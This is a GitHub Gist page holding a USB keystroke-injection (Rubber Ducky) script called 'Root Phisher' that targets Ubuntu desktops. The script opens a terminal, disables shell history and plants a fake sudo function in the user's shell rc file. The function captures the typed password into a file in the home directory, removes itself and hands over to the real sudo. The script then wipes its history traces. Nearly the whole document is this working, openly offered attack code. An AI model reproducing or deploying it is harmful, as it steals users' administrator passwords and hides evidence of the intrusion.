Created
June 6, 2017 09:52
-
-
Save minkione/7e53dbe7c72b0c4642492bde8c96d034 to your computer and use it in GitHub Desktop.
Root Phisher
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
REM Title: Root Phisher | |
REM Target: Ubuntu Desktop >= 11.04 | |
REM Last Modified: April 28, 2017 | |
REM Author: Vi Grey | |
REM Copyright: BSD 2-Clause License | |
DELAY 1000 | |
CTRL-ALT t | |
DELAY 400 | |
STRING a=$HISTFILE;unset HISTFILE | |
ENTER | |
STRING h=$(hexdump -n 4 -e '/1 "%02X"' /dev/urandom);s=$HOME/.$(basename $SHELL)rc;r=sudo;e=echo;R=/usr/bin/$r;u=unset;$e "$r(){ sed -i -n /$h/\!p $s;$u -f $r;$u -f $R;$e -n \"[$r] password for \$USER: \";read -s p;$e;sleep 2;$e \"Sorry, try again.\";$e -n \$p>$HOME/p.txt;$u p;$r -k \$@;};$R(){ $r \$@;}#$h">>$s | |
ENTER | |
STRING sed -i -n /HISTFILE/\!p $a;history -c>/dev/null 2>&1;exit | |
ENTER |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment